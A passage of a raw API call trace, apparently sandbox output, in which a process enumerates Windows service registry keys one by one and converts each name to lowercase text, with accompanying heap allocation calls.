Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.679] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0211.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0211.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.679] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0211.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0211.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.679] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0211.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0211.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.680] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0211.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0211.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.680] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0211.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0211.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.680] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0211.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0211.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0211.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0211.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0211.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0211.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0211.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0211.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0211.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0211.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0211.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0211.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0211.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0211.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0211.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0211.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0211.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0211.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0211.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0211.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0211.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0211.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0211.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0211.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0211.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0211.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0211.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0211.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0211.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0211.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0211.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0211.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, 